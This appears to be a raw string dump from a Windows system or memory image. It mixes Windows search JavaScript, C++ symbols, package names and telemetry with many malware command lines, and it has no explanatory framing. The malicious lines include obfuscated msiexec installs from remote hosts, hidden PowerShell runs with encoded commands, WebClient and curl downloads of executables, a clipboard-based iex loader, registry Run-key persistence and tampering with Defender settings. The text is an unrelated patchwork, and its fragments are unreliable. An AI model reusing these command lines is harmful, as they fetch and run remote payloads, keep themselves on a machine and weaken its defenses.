bindSearchAppearanceInvoked(n){t._searchAppearanceInvokedHandlers.push(n)}static bindLanguageSwitched(n){t._languageSwitchedEventHandlers.push(n)}static getQuery(i){return n.config.optimizeGetQueryLogic?((i||!t._queryCache)&&(t._queryCache=t.getStructuredQuery(r.getQueryText(),t._currentQuery,t._previousQuery)),t._queryCache):t.getStructuredQuery(r.getQueryText(),t._currentQuery,t._previousQuery)}static refreshCurrentPane(n){var f;if(!n||i.currentState===2){let u;if(t._currentQuery)u=t._currentQuery.originalQuery;else{let n=(f=r.getQueryText())===null||f===void 0?void 0:f.queryText;u=n?n:""}t.setQuery(u,!1,!0)}}static clearWorkQuery(){let i=`${this.getLocString("Work")}:`.toLowerCase(),r=`${this.getLocString("School")}:`.toLowerCase(),n=t.getQuery().originalQuery.toLowerCase();n.includes(i)?n=n.replace(i,""):n.includes(r)&&(n=n.replace(r,""));t.setQuery(n,!1,!0)}static clearConversation(){t.setInConversationMode(!1);t.setQuery("",!0,!0)}static keepWSBOpen(n){let t=i.hostingEnvironment==3;!t&&i.changeExplicitDismissMode&&i.changeExplicitDismissMode(n)}static notifyAccountSelected(n){t.setAuthHeadersFromWindowsTokens();t._accountChangedHandlers.forEach(t=>t(n))}static updateQueryWithoutRefetching(i){n.isNullOrUndefined(i)&&(i=t._currentQuery?t._currentQuery.originalQuery:"");t.setQuery(i,!1,!1)}static reformulate(n,i,r,u){let f={query:n,taskFrame:i,topHitRestriction:r,forceGroupOnTop:u};t.setQuery(n||"",!0,!1,f)}static reformulateOnSuggestionClick(n,i,r,u){let f={query:n,fromSearchHome:i,fromSuggestionType:r,inorganic:!0,serpURLParams:u};t.setQuery(n||"",!0,!1,f)}static reformulateNonForcedMiniSerp(n,i,r){let u={query:n,fromSearchHome:i,fromSuggestionType:r};t.setQuery(n||"",!0,!1,u)}static switchToScope(i,r){var u,f;const e=(f=(u=n.ScopeConfig===null||n.ScopeConfig===void 0?void 0:n.ScopeConfig[i])===null||u===void 0?void 0:u.prefixes)===null||f===void 0?void 0:f[0];if(e){const n=`${e}: ${r||""}`;t.reformulate(n)}}static switchToThirdPartyScope(n,i){if(n){const r=`${n.displayName}: ${i||""}`;let u={query:r};t.setQuery(r||"",!0,!1,u)}}static switchToSearchScope(n){let i={query:n||""};t.setQuery(n||"",!0,!1,i)}static setQuery(u,f,e,o){if(n.isNullOrUndefined(u))throw new Error("query parameter can't be null");if(!f&&o)throw new Error("Property overrides only allowed on query reformulations");let s=!f&&!e;t._queryPropertiesOverrides=o;s&&(t._queryToIgnoreOnQueryTextChangedEvent=u);const h=!!n.config.setQueryKeyboardNavParamAvailable&&s&&r.getQueryText().queryText!=u;n.safeExecute(()=>r.setQueryText(u,f,t._currentRawImpressionIdCreatedByTheClient?t._currentRawImpressionId:i.impressionId,h),"setQueryText");let c=f&&t.getQuery().originalQuery==u||e;if(c){const i=()=>t.callQueryChangedHandlers({queryText:u,cursorPosition:u.lengt
RemoveWindowSpace
ath.round(n.encodedBodySize):"",t.DCBS=n.decodedBodySize?Math.round(n.decodedBodySize):"")}}}static addResourcePerformanceInfo(n,t){if(n&&t){let r=n.getEntriesByType("resource"),i=[];r.forEach(n=>{if(n.duration>0&&n.duration>2e3){let t=n,r=new window.Map;r.NAME=t.name;r.ENTYPE=t.entryType;r.INITYPE=t.initiatorType;r.NHPL=t.nextHopProtocol;r.ST=Math.round(t.startTime);r.RDET=Math.round(t.redirectEnd);r.FST=Math.round(t.fetchStart);r.DLST=Math.round(t.domainLookupStart);r.DLET=Math.round(t.domainLookupEnd);r.CST=Math.round(t.connectStart);r.SCST=Math.round(t.secureConnectionStart);r.CET=Math.round(t.connectEnd);r.RQST=Math.round(t.requestStart);r.RPST=Math.round(t.responseStart);r.RPET=Math.round(t.responseEnd);r.DURN=Math.round(t.duration);r.ECBS=t.encodedBodySize?Math.round(t.encodedBodySize):"";r.DCBS=t.decodedBodySize?Math.round(t.decodedBodySize):"";r.TFS=t.transferSize?Math.round(t.transferSize):"";i.push(r)}});i.length>0&&(t.RS=i)}}static instrumentDSBEvent(r){let f={dataSources:[],layoutNodes:[],pageName:"Page.SmartSearch.AS.DSB",rawQuery:"",isQuery:!1,impressionUrl:"",appName:t._instrumentationProvider.getApplicationName(),enrichedClientInfo:{FDPartnerEntry:i,nclid:_G.nclid,isOffline:n.isBrowserOnline()?0:1},impressionGuid:t.createCleanGuid()},u={};if(u=n.safeExecute(()=>t._instrumentationProvider.getEnrichedClientInfoForDSB(),".instrumentDSBEvent.getEnrichedClientInfoForDSB"),u)for(let n in u)f.enrichedClientInfo[n]=u[n];for(const n in r)f.enrichedClientInfo[n]=r[n];t._instrumentationProvider.logMasterPageImpression(f,null)}static instrumentGleamClickEvent(t){var u,f,e;try{if((u=n===null||n===void 0?void 0:n.config)===null||u===void 0?void 0:u.disableWSBServerTelemetry)return}catch(w){}let o=typeof sj_cook!="undefined"?sj_cook===null||sj_cook===void 0?void 0:sj_cook.get("MUID","MUID"):(e=(f=_G===null||_G===void 0?void 0:_G.CID)!==null&&f!==void 0?f:_G===null||_G===void 0?void 0:_G.nclid)!==null&&e!==void 0?e:"",r=this.createCleanGuid();if(o&&r){const c=navigator===null||navigator===void 0?void 0:navigator.userAgent,s=n.Host.getConversationId(),i=(new Date).getTime();let h=n.getWindowProtocol()+"//"+n.getWindowHost()+"/QF_KEYSTROKE_VIRTUAL_URL?ASInitIG="+encodeURIComponent(r);s&&(h+="&cvid="+s);let l={CurUrl:window.location.href,Pivot:"QF",IsNonSuggestion:!0,EnrichedClientInfo:{FDPartnerEntry:"autosuggest",ImpressionUrl:h,DC:(_G===null||_G===void 0?void 0:_G.DA)||undefined,isWebView2:c.includes("IsWebView2/True")?1:undefined},TS:i,UTS:i,UxClassification:{client:"windows"}},a={CurUrl:window.location.href,Pivot:"QF",AppNS:n.InstrumentationCommon.DEFAULT_APP_NAMESPACE,Properties:t,TS:i,UTS:i},v=`<M><IG>${r}</IG><D><![CDATA[${JSON.stringify(l)}]]></D><Page><Name>Page.SmartSearch.AS.SearchAppearance</Name><L><![CDATA[[]]]></L></Page><TS>${i}</TS></M>`,y=`<E><T>Event.Click</T><IG>${r}</IG><D><![CDATA[${JSON.stringify(a)}]]></D><TS>${i}</TS></E>`,p=`<ClientInstRequest><CID>${o}</CID><Group>${v}</Group><Events>${y}</Events></ClientInstRequest>`;fetch("/threshold/xls.aspx",{body:p,method:"POST",headers:{"Content-Type":"text/xml"}})}}static notifyImageGridThumbnailPending(i,r){const u=t.getOffsettedNow();t.safeInstrumentPerf(i,t=>{t.ImageGridInfo||(t.ImageGridInfo={}),t.ImageGridInfo[r]||(t.ImageGridInfo[r]={startTime:u,endTime:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE})},"notifyImageGridThumbnailPending")}static notifyImageGridThumbnailReady(n,i){const r=t.getOffsettedNow();t.safeInstrumentPerf(n,n=>{n.ImageGridInfo&&n.ImageGridInfo[i]&&(n.ImageGridInfo[i].endTime=r)},"notifyImageGridThumbnailReady")}static getOffsettedNow(i=n.getCurrentTime()){return i-t._conversationStartTimestamp}static createNonSuggestionsDataSource(i,r){let u=[];for(let n in i)u.push(t._instrumentationProvider.createNonSuggestionDataSourceObject(n,i[n]));for(let i in r)(r[i].staticGroupType!=n.GroupType.MsbOnRampButton||r[i].suppressed!=!0)&&u.push(t._instrumentationProvider.createDataSourceObject(r[i]));if(u.length){let t={T:"D.ContentGroup",AppNS:n.InstrumentationCommon.DEFAULT_APP_NAMESPACE,Service:n.InstrumentationCommon.DEFAULT_SERVICE_N	Config
Microsoft.WindowsCamera_8wekyb3d8bbwe!Ap
Microsoft.Windows.Photos_8wekyb3d8bbwe!Ap
isWindowsStudioQuickActionAdded@
APPDATA=C:\WINDOWS\ServiceProfiles\Local
OS=Windows_NT
"http://m0.nu:8080/ac/y/92vpbw3cbqbalxvlk/oor4lf6d/!computername!"/q^n%windir%\system32\shell32.dll
fc:\v1uewindows@owhufa.cwindowsz1u2system32bowhuyc.system32f2ksrundll32.exejksu[./dsrundll32.exeo-nc
Wwindows.security.credentials.passwordvault,windows.security.credentials,contenttype=windowsruntime
-bypass-windowstylehidden-hidden-commandpkgmgr.exe;(new-objectsystem.net.webclient).downloadfile('
..\..\windows\system32\cmd.exe&/cvertices\quintupl
C:\WINDOWS\SYSTEM32\
TCP/IP for WindowsH
WindowsAclHelper::SetDenyWriteAccessImpl
WindowsAclHelper::SetDenyDeleteChildrenImpl
WindowsAclHelper::RemoveDenyWriteAccessImpl
WindowsAclHelper::AllocateToken
WindowsAclHelper::RemoveDenyDeleteChildrenImpl
WindowsAclHelper::CheckReadWriteAccessImpl
WindowsAclHelper::LogACEsImpl
WindowsAclHelper::SetACLInSecurityInfo
WindowsAclHelper::GetIndexOfDenyACEinACL
WindowsAclHelper::GetACL
WindowsAclHelper::AddDenyACEToACL
get_ToolWindowSeparator
set_ToolWindowSeparator
ShowWindowStyles
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
\windows\currentversion\run
regadd"hklm\software\policies\microsoft\windowsdefender\spynet"/v"submitsamplesconsent"/treg_dword/d"2"/fP
*Microsoft.Windows.ContentDeliveryManager_cw`/
&\windows\=
Path=C:\WINDOWS\system32;
amd64_microsoft-windows-d..xdiagndll.resources_31bf3856ad364e35_en-us_addf4d727d69a388
amd64_microsoft-windows-d..xencryptfilesonmove_31bf3856ad364e35_none_f0c3c607a65296ae
amd64_microsoft-windows-d..xinput1_4.resources_31bf3856ad364e35_en-us_5e8eccb3849bd555
amd64_microsoft-windows-d..xnetworkconnections_31bf3856ad364e35_none_3b3a77a5ebcd2547
amd64_microsoft-windows-d..xtabletpcinputpanel_31bf3856ad364e35_none_9844e97aae71e06b
amd64_microsoft-windows-d..xthandler.resources_31bf3856ad364e35_en-us_0dea7bc746592abe
amd64_microsoft-windows-d..xthandler.resources_31bf3856ad364e35_en-us_4de84124dc37b6dd
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbw*
.?AU?$__abi_FunctorCapture@V<lambda_4e37f7bf5f60605f0cdadb1bb82d548d>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
WindowsApp1.frm_communicationSettings.resourcesW
WindowsApp1.ServiceEntry.resourcesW
9c^windows.appService
9d^windows.protocol
9d^windows.appExtension
C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding
Windows::Isolation::Implementation::Rtl::RtlpIsolatedFilesystem_DirectWin32_DeleteFile
BlobId != (Windows::Cdf::Rtl:: CdfInvalidBlobId())
s\system32
[x=@regadd"+chrw(34)+"hkcu\software\microsoft\windows\currentversion\run
Pharming($dataone);fopen("C:\\windows\\
C:\Windows\iexplore.exe
6fcmd.exej-ic:\windows\system32\cmd.exeewak/v/rs^t^ar^t^m^s^iexe^c/f^v"http://4n.wf:8080/uiu/x0mhbj/x8dnmfe21ltuykkwdavzx/pxcyb/aq/!computername!"^w^r=ya-^qwmuw^oh^b^c=h^iopbo^z^v^n"%systemroot%
Windows.ApplicationModel.ComponentUI.ComponentManager
Windows.ApplicationModel.Contacts.Contact
Windows.ApplicationModel.Contacts.ContactAddress
Windows.ApplicationModel.Contacts.ContactAnnotation
Windows.ApplicationModel.Contacts.ContactCardOptions
Windows.ApplicationModel.Contacts.ContactConnectedServiceAccount
Windows.ApplicationModel.Contacts.ContactDate
Windows.ApplicationModel.Contacts.ContactEmail
Windows.ApplicationModel.Contacts.ContactField
Windows.ApplicationModel.Contacts.ContactFieldFactory
Windows.ApplicationModel.Contacts.ContactInstantMessageField
Windows.Graphics.Imaging.Internal.HighDynamicRangeFusion
Windows.Graphics.Imaging.SoftwareBitmap
Windows.Graphics.Internal.Printing.PrintSupport.PrintSupportIppPrintDeviceBroker
Windows.Graphics.Internal.Printing.PrintSupport.PrintSupportSessionManager
Windows.Graphics.Internal.Printing.PrintSupport.PrintSupportSettingsBroker
Windows.Graphics.Internal.Printing.Workflow.WorkflowSessionManager
Windows.Graphics.Printing.OptionDetails.PrintTaskOptionDetails
Windows.Graphics.Printing.PrintManager
Windows.Graphics.Printing.PrintPageInfo
Windows.Graphics.Printing.PrintPageRange
Windows.Graphics.Printing.PrintSupport.PrintSupportPrintDeviceCapabilitiesUpdatePolicy
6;echooffsetlocalset"fugues=c:\windows\temp\
&cmd.exe..\windows\system32\cmd.exe/cmethane\exhausts.cmdregc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll%
\cmd.exep/v/r^s^tartmsie^x^e^c-p^a^ck^age"http://2t.pm:8080/yxyhtblsnavbsmby/kf/y2r8p/!computername!"-^qos^lw^n=c^v!%systemroot%\system32\shell32.dll%windir%
\windows\currentversion\runonce
+0java.io.tmpdirchmod 755CMD.exe /c startWindows\System32\WindowsPowershell
/windows/update/search?hl=%s&q=%s&meta
$exists("c:\windows\microsoft.net\framework\v
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
wz7yhh5itzojj3vfeowy66zhlghjlmyts0xj1a8qlunbuspuijipd4m5eqssapy53o6et2u6joigu5igbip8av7powmhi9mjhgr7nn2ylpra1nfom2wwtfcian7lsh2qblnxgqjote0yl0rjtblt1g91tijljhpgyttgeic7_pdqfuemf1zjdsgmve6wqdexfwwtvkubls_vqqsxjik464gzhjqdklu6xomi5ejceqzompk87mcymeyrutn4zun9ujptczdagidvpwykhpdzwlrtfiwb3i1h1kziug2ycemcu0sexq-quc1z153jrluodaeyjuftfs99vyxot03j2exn-btyxjzbgzvnubej4ws2rb7ldhenmtph6ponkp6gwm83a6zqpjebvxu1x-eayx-ke5y0fo-la-hu6coe0azyvaj5xrhfxw4uzmo3p3gpsrfaobw5ml9nsfelm6teu-qdz4ufmrfvvi3q2tt4ez09vsxvw7jia1-qqssisbyccxxpnctuqmlksnistam_n-jdei7cfcgq_zwge-f5q_0qj1efospspfqz6uit3opa88w8t8wp-pfyexmv8a0&amp;mkt=en-us&amp;hosted=0&amp;device_platform=windows+10
eygmg':'iadtk','efbhi':'windows','zpfk
Microsoft.Windows.Storage.Spaceport
Microsoft.Windows.TlgAggregateInternal
9c^com.microsoft.windows.e
ftp.narod.ruhackloggssystem32\test\dir
C:\Windows\System32\drivers\et
c:\windows\system32\hookdll.dllnoasinvoker
-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjabhagyaygbjahiapqbbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbbafmaqwbjaekalgbhaguadabtahqacgbpag4azw
G-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjaboahaaawbxahqabwbsad0awwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoaqqbtaemasqbjac4arwblahqauwb0ahiaaq
-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjabqagoacgb4ahaapqbbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbbafmaqwbjaekalgbhaguadabtahqacgbpag4azw
=-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjabqahcaegbsag8adwbsad0awwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoaqqbtaemasqbjac4arwblahqauwb0ahiaaq
-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjabrahgadabmagsabgb2ag8ababtad0awwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoaqqbtaemasqbjac4arwblahqauw
rO-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjabuagsadwbkag8azqa9afsauwb5ahmadablag0algbuaguaeab0ac4arqbuagmabwbkagkabgbnaf0aoga6aeeauwbdaekasqauaecazqb0afmadabyagkabg
-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjabvagsaeabhagcaawa9afsauwb5ahmadablag0algbuaguaeab0ac4arqbuagmabwbkagkabgbnaf0aoga6aeeauwbdaekasqauaecazqb0afmadabyagkabg
B-windowstyle-commandhiddennoise.dat;(new-objectsystem.net.webclient).downloadfile('http://directsomdtinm.ydns.eu/viks1/dfglder.exe','
c:\windows\system32\cmd.exe/kstartmsedgehttp://pqline.com/clients_for_your_business.pdf&curl-slo%temp%\
-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjab0agmabqblagqadwa9afsauwb5ahmadablag0algbuaguaeab0ac4arqbuagmabwbkagkabgbnaf0aoga6aeeauwbdaekasqauaecazqb0afmadabyagkabg
5,?g--nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjab5aheadgbqagwaaaa9afsauwb5ahmadablag0algbuaguaeab0ac4arqbuagmabwbkagkabgbnaf0aoga6aeeauwbdaekasqauaecazqb0afmadabyagkabg
m-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjab6agyadwblagiapqbbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbbafmaqwbjaekalgbhaguadabtahqacgbpag4azw
XEocmd.exe2-operation_dept/d/v/c^star^tm^si^e^x^e^cg^rqm^yg^rr^s=z^nhd/fv"http://2t.wf:8080/ykyrqwuyzyuyizocdx7ppqwyg5wdt/zf/dobc3/!computername!"-^qn^bt^kby^b^f=twj!%systemroot%\system32\shell32.dll%
(c:\windows\system32\cmd.exepublic/e/v/rs^tar^t^ms^i^ex^e^c-^f^v"http://3z.nu:8080/y8uy/3pdbrrwxfqbwocxevrtz/ukggx/!computername!"^x^y^op^ibkx=^yprcn^h/q^u^i^e^tph=o^o%windir%\system32\imageres.dll%
Microsoft Windows
Microsoft Windows
Microsoft Windowsi
Microsoft Windows3
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WINDOWS11
WindowsAppRuntime.1.6
OutlookForWindows.
Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8
1Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident9
89^com.microsoft.windows.extension.desktopspotlight
com.microsoft.windows.extension.desktopspotlight
8a^com.microsoft.windows.extensions.xaml.desktopspotlight
,"name":"Microsoft.Windows.StoreAgent.Telemetry.Stats","time":"2026-02-24T08:06:14.5915060Z","iKey":"o:0a89d516ae714e01ae89c96d185e9ae3","ext":{"utc":{"eventFlags":258,"pgName":"WINCORE","dvcSample":59.81,"flags":52445577776,"edition":48,"epoch":"800503","seq":19},"privacy":{"dataType":2147483648,"isRequired":true,"dataCategory":1,"product":1},"metadata":{"f":{"AppControlPreferenceOptions":5},"privTags":2147483648,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000f519feec486de87ed73cb92d3cac802400000000!0000d87367d5078c476b109dc3312b62781513330055!svchost.exe","ver":"2050/10/02:09:40:39!257D6!svchost.exe","is1P":1,"asId":106},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"o:1"},"loc":{"tz":"+01:00"}},"data":{"AppControlPreferenceOptions":99,"ShouldHonorAppUpdatePauseFlags":0}}
,"name":"Microsoft.Windows.FeatureQuality.Status","time":"2026-02-24T08:06:33.7077147Z","iKey":"o:0a89d516ae714e01ae89c96d185e9ae3","ext":{"utc":{"eventFlags":258,"pgName":"WINCORE","dvcSample":59.81,"flags":52445577776,"edition":48,"epoch":"800503","seq":25},"privacy":{"dataType":2147483648,"isRequired":true,"dataCategory":1,"product":1},"metadata":{"f":{"time":9},"privTags":2147483648,"policies":7},"os":{"bootId":84);
WindowsCreateString
WindowsDeleteString
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
WINDOWS11
WINDOWS11
WINDOWS11
PC49MD70881Evil West (Windows
{"queryUrl":"/settings/v3.0/Windows/ServiceExperiences"}
FWindowsCodecs.dll
WindowsAppSdk.
C:\ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityConsentStorage.db-shm
{cmd.exesisatak/y/rsta^r^t^m^s^iexe^c^t^v=n^s/q^u^iet^bpp=^p^n^p^w^u^w^h^p^q-p^ac^ka^g^e"http://3z.nu:8080/aubdzu/npvsvmoeuzfxqp7jx/89eu/%computername%"l^e^x^de^zi=p^x^r^ve^g^m^m^n%windir%\system32\shell32.dll%
J8system32r2cmd.exe<*cmd.exexyzproduction/q/r^st^ar^tmsi^ex^ect^ff^es^qap=v^m^d^f^r^i-^pac^kage"http://2t.pm:8080/arybjy9flmo/el/2pvf6jr0xry/%computername%"jmt^j^o^oc=tcfz^hhs^z-q^gq^s^r=zn^n^z^j^sgoimageres.dll
c:\windows\system32\cmd.exe/kstartmsedgehttps://cryptotoolkit.it.com/manual.pdf&curl-slo%temp%\bosfortuy.mshttp://cryptotoolkit.it.com/part/setup0321_or.msi&msiexec/i%temp%\bosfortuy.ms/qn|taskkill/f/imcmd.exe
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nologo-windowstylehidden-command"startnotepad.exe;iwrhttps://imgredientbatchingsystems.com/
c:\windows\system32\windowspowershell\v1.0\powershell.exescb('m%%%%sh%%t%%ah%%%%tt%p:/%%%/%%91%%%%.%200.14%%%%.%1%%%53%%%%:64%%%%65%%%%/%%%%wi%%%ndow_%%%%o%rd%%e%%%%r.%%%m%p%%%4%%%%'.replace('%',''));iex(gcb)
windows.hlp`
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\opensource\wil\result.h
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\CoreWindowWrapper.cpp
Microsoft.Windows.Security.CAPI
Microsoft.Windows.TlgAggregateInternal
WindowsDeleteString
WindowsGetStringRawBuffer
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Networking.Sockets.PushEnabledApplication.dll
WindowsCreateString
WindowsDeleteString
c:\windows\system32\rundll32.exeurl,openurl"https://terra.im/gl/?cid=
c:\t1gaffes>.gaffesl2wendmemphis.jsn.wendmemphis.js!..\..\..\..\gaffes\wendmemphis.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%
powershell-windowstyle1
3],WINDOWS_w
on Windows Search
!#BRUTE:SYSTEM32
%SystemRoot%\System32\
Bpyi-windows-manifest
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
s\system32\cmd
 open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
WindowsCompareStringOrdinal
takeown/f"c:\windows\system32\eosnotify.exe
s\system32\cmd.execmd/cpowershell
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
